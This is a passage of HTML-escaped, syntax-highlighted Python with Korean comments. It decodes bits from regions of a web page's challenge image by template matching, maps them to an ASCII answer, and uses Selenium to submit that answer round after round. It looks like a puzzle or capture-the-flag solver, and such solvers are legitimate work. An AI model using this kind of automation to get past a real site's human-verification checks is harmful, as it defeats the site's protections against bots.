    &lt;span class=&quot;n&quot;&gt;tpl_h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;center_frac_y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;xs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl_w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl_h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ys&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl_h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xs&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl_w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# 템플릿이 너무 비면 보정
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count_nonzero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;tpl_w2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;tpl_h2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;xs2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl_w2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ys2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl_h2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ys2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ys2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl_h2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xs2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xs2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl_w2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count_nonzero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ref&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;sims&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;masks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;sims&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# 첫 비트 강제 0
&lt;/span&gt;            &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;best_subset_match_fraction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sims&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sim_threshold&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sims&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shape&lt;/span&gt;


&lt;span class=&quot;c1&quot;&gt;# ===================== 한 라운드 처리 =====================
&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;solve_round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Tuple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Tuple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;img_el&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wait_for_img_loaded_and_settled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;settle_ms&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SETTLE_MS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;old_src_before_submit&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;img_el&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_attribute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;src&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# 안정화 텀 후 픽셀 추출 → 저장
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SAVE_DIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.png&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;pil_img&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;save_img_from_page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;img_el&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sims&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl_shape&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bits_from_fixed_regions_with_template&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pil_img&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;answer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;choose_ascii&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# 입력/제출
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;ans_box&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WebDriverWait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;EC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;presence_of_element_located&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;By&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CSS_SELECTOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;input#answer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ans_box&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clear&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ans_box&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;answer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;submit_btn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WebDriverWait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;EC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;element_to_be_clickable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;By&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CSS_SELECTOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;button#submit&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;submit_btn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# 다음 문제 로딩 대기(src 변경)
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;WebDriverWait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;find_element&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;By&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CSS_SELECTOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;img#textImage&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_attribute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;src&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;old_src_before_submit&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sims&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;answer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl_shape&lt;/span&gt;


&lt;span class=&quot;c1&quot;&gt;# ===================== 메인 =====================
&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;makedirs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SAVE_DIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exist_ok&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;chrome_opts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Options&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# 헤드리스 금지(요청)
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;chrome_opts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add_argument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;--disable-gpu&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;chrome_opts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add_argument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;--no-sandbox&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
